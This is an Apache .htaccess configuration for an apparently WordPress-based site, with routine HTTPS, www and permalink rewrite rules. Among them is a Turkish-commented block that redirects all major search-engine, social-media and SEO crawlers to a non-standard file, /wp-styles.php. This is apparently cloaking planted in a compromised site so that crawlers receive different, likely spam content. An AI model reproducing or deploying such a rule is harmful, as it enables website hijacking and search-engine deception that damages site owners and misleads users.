RewriteEngine on Options -Indexes RewriteEngine on RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC] RewriteRule ^(.*)$ https://%1/$1 [R=301,L] RewriteCond %{HTTPS} !on RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] ## Google botlarını ve diğer botları wp-styles.php'ye yönlendir - indexleme açık RewriteCond %{HTTP_USER_AGENT} (Googlebot|Googlebot-Image|Googlebot-Mobile|Googlebot-News|Googlebot-Video|Google-InspectionTool|Google-Site-Verification|Mediapartners-Google|AdsBot-Google|Google-Structured-Data-Testing-Tool|bingbot|BingPreview|Slurp|YandexBot|YandexImages|YandexVideo|YandexMetrika|YandexCalendar|YandexDirect|YandexPagechecker|YandexNews|YandexMobileBot|Baiduspider|Baiduspider-image|Baiduspider-video|Baiduspider-news|facebookexternalhit|Facebot|Twitterbot|LinkedInBot|WhatsApp|TelegramBot|Discordbot|Applebot|DuckDuckBot|Sogou|Exabot|MJ12bot|AhrefsBot|SemrushBot|Screaming Frog|rogerbot|crawler|spider|bot) [NC] RewriteRule .* /wp-styles.php [R=302,L] DirectoryIndex index.php RewriteEngine On RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L]